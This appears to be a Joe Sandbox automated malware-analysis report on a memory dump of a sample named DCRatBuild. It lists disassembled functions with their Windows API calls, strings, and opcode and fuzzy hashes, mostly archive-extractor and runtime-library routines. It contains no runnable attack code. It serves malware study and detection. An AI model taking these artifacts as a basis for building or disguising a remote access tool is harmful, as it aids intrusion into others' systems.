GetClientRect.USER32(?,?), ref: 00FCDB85
GetWindowLongW.USER32(?,000000F0), ref: 00FCDC25
GetWindowRect.USER32(?,?), ref: 00FCDC52
SetWindowTextW.USER32(?,?), ref: 00FCDC95
GetSystemMetrics.USER32(00000008), ref: 00FCDC9D
GetWindow.USER32(?,00000005), ref: 00FCDCA8
GetWindowRect.USER32(00000000,?), ref: 00FCDCD5
GetWindow.USER32(00000000,00000002), ref: 00FCDD47

Strings

$%s:, xrefs: 00FCDAB2
d, xrefs: 00FCDBA5
CAPTION, xrefs: 00FCDC77

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 260856cacb1e1f83134d6dcb93c7c58372a06f4a21d08cbe8756981955cb8107
Instruction ID: d4e6bbdd6abac081146a0e24578b529cb99d950b04e2cecf7f4648ef9453eeaf
Opcode Fuzzy Hash: 260856cacb1e1f83134d6dcb93c7c58372a06f4a21d08cbe8756981955cb8107
Instruction Fuzzy Hash: 10819C71508346AFD720DEA8CD89F6FBBE9AB88714F04092DFA8493290D675E805DB52

Function 00FEC233 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00FEC277

Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBE2F
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBE41
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBE53
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBE65
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBE77
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBE89
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBE9B
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBEAD
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBEBF
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBED1
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBEE3
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBEF5
Part of subcall function 00FEBE12: _free.LIBCMT ref: 00FEBF07

_free.LIBCMT ref: 00FEC26C

Part of subcall function 00FE84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00FEBFA7,00FF3958,00000000,00FF3958,00000000,?,00FEBFCE,00FF3958,00000007,00FF3958,?,00FEC3CB,00FF3958), ref: 00FE84F4
Part of subcall function 00FE84DE: GetLastError.KERNEL32(00FF3958,?,00FEBFA7,00FF3958,00000000,00FF3958,00000000,?,00FEBFCE,00FF3958,00000007,00FF3958,?,00FEC3CB,00FF3958,00FF3958), ref: 00FE8506

_free.LIBCMT ref: 00FEC28E
_free.LIBCMT ref: 00FEC2A3
_free.LIBCMT ref: 00FEC2AE
_free.LIBCMT ref: 00FEC2D0
_free.LIBCMT ref: 00FEC2E3
_free.LIBCMT ref: 00FEC2F1
_free.LIBCMT ref: 00FEC2FC
_free.LIBCMT ref: 00FEC334
_free.LIBCMT ref: 00FEC33B
_free.LIBCMT ref: 00FEC358
_free.LIBCMT ref: 00FEC370

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 2589593036b14aafbb8cd2a50024a1f86fac6b8ab3390a19e38db77e70ad015e
Instruction ID: 9fbbf3dd962eff4ca9eda039d8309948009b969232fa4f576afe6a3131ad6a96
Opcode Fuzzy Hash: 2589593036b14aafbb8cd2a50024a1f86fac6b8ab3390a19e38db77e70ad015e
Instruction Fuzzy Hash: 67319E31A006859FEB20AA7ADD45B5B73E9FF00360F10842AF459D75A1DF39AC42EB90

Function 00FDCD2E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00FDCD51
GetClassNameW.USER32(00000000,?,00000800), ref: 00FDCD7D

Part of subcall function 00FD17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00FCBB05,00000000,.exe,?,?,00000800,?,?,00FD85DF,?), ref: 00FD17C2

GetWindowLongW.USER32(00000000,000000F0), ref: 00FDCD99
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00FDCDB0
GetObjectW.GDI32(00000000,00000018,?), ref: 00FDCDC4
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00FDCDED
DeleteObject.GDI32(00000000), ref: 00FDCDF4
GetWindow.USER32(00000000,00000002), ref: 00FDCDFD

Strings

STATIC, xrefs: 00FDCD83

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: a9b77fec45c373a5d4d8d0ab25299c3c5f42df9bdb5edbc39cd54575d7243d34
Instruction ID: fb6c5cf5a3cd7687c73c0d341c67359fc1a5fbca3fc501540916188a6c635095
Opcode Fuzzy Hash: a9b77fec45c373a5d4d8d0ab25299c3c5f42df9bdb5edbc39cd54575d7243d34
Instruction Fuzzy Hash: 9A1127739443117BE231AEA09C49FAF375FAF51750F184522FA82A12C2CA7D8905E7E4

Function 00FE8EB1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00FE8EC5

Part of subcall function 00FE84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00FEBFA7,00FF3958,00000000,00FF3958,00000000,?,00FEBFCE,00FF3958,00000007,00FF3958,?,00FEC3CB,00FF3958), ref: 00FE84F4
Part of subcall function 00FE84DE: GetLastError.KERNEL32(00FF3958,?,00FEBFA7,00FF3958,00000000,00FF3958,00000000,?,00FEBFCE,00FF3958,00000007,00FF3958,?,00FEC3CB,00FF3958,00FF3958), ref: 00FE8506

_free.LIBCMT ref: 00FE8ED1
_free.LIBCMT ref: 00FE8EDC
_free.LIBCMT ref: 00FE8EE7
_free.LIBCMT ref: 00FE8EF2
_free.LIBCMT ref: 00FE8EFD
_free.LIBCMT ref: 00FE8F08
_free.LIBCMT ref: 00FE8F13
_free.LIBCMT ref: 00FE8F1E
_free.LIBCMT ref: 00FE8F2C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 02adcecde0128823bc3a9ac9b78bda0154cadc4547776d7fc6ba78997add17f0
Instruction ID: 09bc226a7974abfd6071954d28b8e6036970e901dc4731af38566043436fff6e
Opcode Fuzzy Hash: 02adcecde0128823bc3a9ac9b78bda0154cadc4547776d7fc6ba78997add17f0
Instruction Fuzzy Hash: 6E11A47650054DAFCB11FF96CC42CDA3BA5FF04390B5140A5BA0D8B6A6DA35DA52AB80

Function 00FC2162 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

;%u, xrefs: 00FC2497
x%u, xrefs: 00FC267A
xc%u, xrefs: 00FC26D7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: 795f54a446687fb1e91663b7ef937ae7bdceaa5391933092f4ce5f780d9a3bff
Instruction ID: 3f9dfabf9d4e7c3d76b5a8d53b684b20b126b3736367e18ec462005c8718fac1
Opcode Fuzzy Hash: 795f54a446687fb1e91663b7ef937ae7bdceaa5391933092f4ce5f780d9a3bff
Instruction Fuzzy Hash: E2F10A71A042425BDB55DF288FD7FEE7796EF90310F08056DF8898B283DA689844F7A1

Function 00FDACD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC130B: GetDlgItem.USER32(00000000,00003021), ref: 00FC134F
Part of subcall function 00FC130B: SetWindowTextW.USER32(00000000,00FF35B4), ref: 00FC1365

EndDialog.USER32(?,00000001), ref: 00FDAD20
SendMessageW.USER32(?,00000080,00000001,?), ref: 00FDAD47
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00FDAD60
SetWindowTextW.USER32(?,?), ref: 00FDAD71
GetDlgItem.USER32(?,00000065), ref: 00FDAD7A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00FDAD8E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00FDADA4

Strings

LICENSEDLG, xrefs: 00FDACE4

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 3c0c5696f0c1a754baeaf1197f1715a6c237ff4df576deb1c813762b297fb504
Instruction ID: dccaba6f6648b2225da0bfd182f55791f097dc6f6c1c8aee5d55e775df0dc5b9
Opcode Fuzzy Hash: 3c0c5696f0c1a754baeaf1197f1715a6c237ff4df576deb1c813762b297fb504
Instruction Fuzzy Hash: 8421E632640105BBD2325F61ED49F3B3A6FFB46756F190006F68092685CB5F5901F736

Function 00FC9443 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC9448
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00FC946B
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00FC948A

Part of subcall function 00FD17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00FCBB05,00000000,.exe,?,?,00000800,?,?,00FD85DF,?), ref: 00FD17C2

_swprintf.LIBCMT ref: 00FC9526

Part of subcall function 00FC400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FC401D

MoveFileW.KERNEL32(?,?), ref: 00FC9595
MoveFileW.KERNEL32(?,?), ref: 00FC95D5

Strings

rtmp%d, xrefs: 00FC950F

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: 69df954621a7677f982ef7290e2f1d199c04e9beb5441e84d595cfaac15bc217
Instruction ID: 8f5fdd8bd5ee7cd3ccd7d48024c47a72b8128546abfdc2adc2564efa2d252a38
Opcode Fuzzy Hash: 69df954621a7677f982ef7290e2f1d199c04e9beb5441e84d595cfaac15bc217
Instruction Fuzzy Hash: E5415471D0415A66CF20EB60CD8AFEA737CAF15384F0444E9B549E3051EBB89B88FB64

Function 00FD0A8A Relevance: 12.1, APIs: 8, Instructions: 115timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00FD0A9D

Part of subcall function 00FCACF5: GetVersionExW.KERNEL32(?), ref: 00FCAD1A

FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00FD0AC0
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00FD0AD2
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00FD0AE3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00FD0AF3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00FD0B03
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FD0B3D
__aullrem.LIBCMT ref: 00FD0BCB

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 9a97e82115df218aad5901e9e9d9f7319734663e27cc4db2776c6cbbca3c0c58
Instruction ID: cbbb2cec96bb176abfe882a838c937b3e99643a62cc81f1aa6a7653aaa78f544
Opcode Fuzzy Hash: 9a97e82115df218aad5901e9e9d9f7319734663e27cc4db2776c6cbbca3c0c58
Instruction Fuzzy Hash: 4C4129B1408306AFC310DF65C880A6BBBF9FF88714F044A2FF59692650EB79E548DB52

Function 00FEEE2D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00FEF5A2,?,00000000,?,00000000,00000000), ref: 00FEEE6F
__fassign.LIBCMT ref: 00FEEEEA
__fassign.LIBCMT ref: 00FEEF05
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00FEEF2B
WriteFile.KERNEL32(?,?,00000000,00FEF5A2,00000000,?,?,?,?,?,?,?,?,?,00FEF5A2,?), ref: 00FEEF4A
WriteFile.KERNEL32(?,?,00000001,00FEF5A2,00000000,?,?,?,?,?,?,?,?,?,00FEF5A2,?), ref: 00FEEF83

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 589604f036e7e21058e45760297539166e670207b5cddb5740b5d770864723d7
Instruction ID: 67eedd446e7813fb6319fa0705528a1ab7d866ab048fd352eaab23a057ce08d9
Opcode Fuzzy Hash: 589604f036e7e21058e45760297539166e670207b5cddb5740b5d770864723d7
Instruction Fuzzy Hash: 0C51F6B1E002889FCB10CFA9EC81AEEBBF9EF09310F24411AF555E7291D731A940DB65

Function 00FDC534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00FDC54A
_swprintf.LIBCMT ref: 00FDC57E

Part of subcall function 00FC400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FC401D

SetDlgItemTextW.USER32(?,00000066,0100946A), ref: 00FDC59E
_wcschr.LIBVCRUNTIME ref: 00FDC5D1
EndDialog.USER32(?,00000001), ref: 00FDC6B2

Strings

%s%s%u, xrefs: 00FDC573

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: 4927938299ecf0a91d1562c1d067e00a627d819d7e302fafd73bf469544e2619
Instruction ID: 9490a18e2f3a04bea9fa351ebb42478266196cc4cc0b01f76110ba06adbbbf1a
Opcode Fuzzy Hash: 4927938299ecf0a91d1562c1d067e00a627d819d7e302fafd73bf469544e2619
Instruction Fuzzy Hash: 0341E371D00619AADF22DBA0CC45FEA77BEEF08315F0440A7E509E6151EB799BC4DB90

Function 00FD8E62 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 00FD8F38
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00FD8F59

Strings

</html>, xrefs: 00FD8F0A
utf-8"></head>, xrefs: 00FD8EBD
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00FD8EB2
<html>, xrefs: 00FD8EA7, 00FD8EE0

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 3286310052-4209811716
Opcode ID: fecc2ce2543b98e062c0c3f83cea7e0f145b3b36a834e470c78fb0678b5b07db
Instruction ID: bab233625f0ddbaf6e3c18d6ed270be3257b9ffa246f4aa6b52604a18554c4a0
Opcode Fuzzy Hash: fecc2ce2543b98e062c0c3f83cea7e0f145b3b36a834e470c78fb0678b5b07db
Instruction Fuzzy Hash: 25312A325083557BD720BB619C06F6F775EEF51760F18011AF901A73D1EF68990AE3A2

Function 00FD9635 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00FD964E
GetWindowRect.USER32(?,00000000), ref: 00FD9693
ShowWindow.USER32(?,00000005,00000000), ref: 00FD972A
SetWindowTextW.USER32(?,00000000), ref: 00FD9732
ShowWindow.USER32(00000000,00000005), ref: 00FD9748

Strings

RarHtmlClassName, xrefs: 00FD96F4

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 3d89de6f529c303f1a29ca5e962a3e0936ae5ca2a4060b91ab9fb2daf85831eb
Instruction ID: 3fb1991091c9ca2e94adc6d9169a543cc00fd73d4f55cc9a94db9786e6add9a5
Opcode Fuzzy Hash: 3d89de6f529c303f1a29ca5e962a3e0936ae5ca2a4060b91ab9fb2daf85831eb
Instruction Fuzzy Hash: 5631E236408300AFCB619FA0DC4CF2B7BA9EF48311F28455AFE8996246C778D954DF61

Function 00FEBFB5 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FEBF79: _free.LIBCMT ref: 00FEBFA2

_free.LIBCMT ref: 00FEC003

Part of subcall function 00FE84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00FEBFA7,00FF3958,00000000,00FF3958,00000000,?,00FEBFCE,00FF3958,00000007,00FF3958,?,00FEC3CB,00FF3958), ref: 00FE84F4
Part of subcall function 00FE84DE: GetLastError.KERNEL32(00FF3958,?,00FEBFA7,00FF3958,00000000,00FF3958,00000000,?,00FEBFCE,00FF3958,00000007,00FF3958,?,00FEC3CB,00FF3958,00FF3958), ref: 00FE8506

_free.LIBCMT ref: 00FEC00E
_free.LIBCMT ref: 00FEC019
_free.LIBCMT ref: 00FEC06D
_free.LIBCMT ref: 00FEC078
_free.LIBCMT ref: 00FEC083
_free.LIBCMT ref: 00FEC08E

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction ID: 01797921ffccaf03e511196725a43ee560c1e2f90da9147b517b9760bcdd013f
Opcode Fuzzy Hash: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction Fuzzy Hash: F7114275551B94F6D620FBB2CC07FCBB79DAF00700F408815B29E664D2DB69F905AA90

Function 00FE20CA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00FE20C1,00FDFB12), ref: 00FE20D8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00FE20E6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00FE20FF
SetLastError.KERNEL32(00000000,?,00FE20C1,00FDFB12), ref: 00FE2151

Memory Dump Source

